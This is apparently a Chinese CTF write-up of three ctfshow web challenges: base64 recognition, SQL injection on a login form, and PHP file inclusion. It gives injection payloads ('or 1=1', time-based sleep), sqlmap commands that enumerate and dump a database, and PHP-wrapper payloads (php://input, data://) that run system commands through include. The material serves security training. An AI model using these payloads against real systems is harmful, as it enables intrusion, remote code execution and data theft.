文章目录
- 1、web签到题——base64编码特征
- 2、web2——登录框测试&sqlmap使用
- 3、web3——php伪协议
1、web签到题——base64编码特征
查看源代码:
base64编码特征:大小写+数字,偶尔最后几位是=。
2、web2——登录框测试&sqlmap使用
登录界面,先测一下是不是存在SQL注入漏洞
SQL注入常见的测试方法就是:
- 在参数后面加个
'
,看返回包是否报错; - 使用万能密码
1' or 1=1 --+
,看返回包有没有反应;这里返回内容会有变化。显示
欢迎你,ctfshow
,应该是成功登录的结果,但是并没有数据返回。
- 再用时间盲注进一步证明存在SQL注入漏洞。
1' or sleep(5) --+
,会有明显的时间延迟。
再用sqlmap去跑数据库里的内容:(这里直接跑数据包)
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # 表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # 字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # 字段内容
3、web3——php伪协议
看到include
函数,这一题应该是与文件包含有关。<?php include($_GET['url'])?>
是包含GET传参中url参数的值,那么可以考虑php伪协议中的input协议和data协议。
关于php://input和data://text/plain,简单来说:
- 当php://input与include连用时,数据包中的post字段将会当做php代码执行;
- 当data://text/plain与include连用时,data://text/plain后面接着的数据会被当做php代码执行。
故,poc:
# GET传参
?url=php://input
# POST
<?php system("ls");?> ?url=data://text/plain,<?php system('ls');?>
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+